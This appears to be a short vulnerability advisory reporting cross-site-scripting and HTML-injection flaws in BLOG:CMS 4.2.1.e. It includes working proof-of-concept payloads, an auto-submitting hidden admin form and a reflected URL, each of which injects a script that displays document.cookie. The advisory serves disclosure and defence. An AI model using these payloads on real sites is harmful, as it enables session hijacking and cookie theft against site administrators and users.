source: https://www.securityfocus.com/bid/45432/info BLOG:CMS is prone to a cross-site-scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. BLOG:CMS 4.2.1.e is vulnerable; prior versions may also be affected. Cross Site Scripting POCs: <form action="http://host/admin/index.php" method="post" name="main"> <input type="hidden" name="blogid" value="0"> <input type="hidden" name="itemid" value="0"> <input type="hidden" name="action" value="browseowncomments"> <input type="hidden" name="amount" value='10"><script>alert(document.cookie)</script>'> <input type="hidden" name="start" value="0"> <input type="hidden" name="search" value=""> </form> <script> document.main.submit(); </script> http://www.example.com/admin/index.php?action=settingsedit"><script>alert(document.cookie)</script>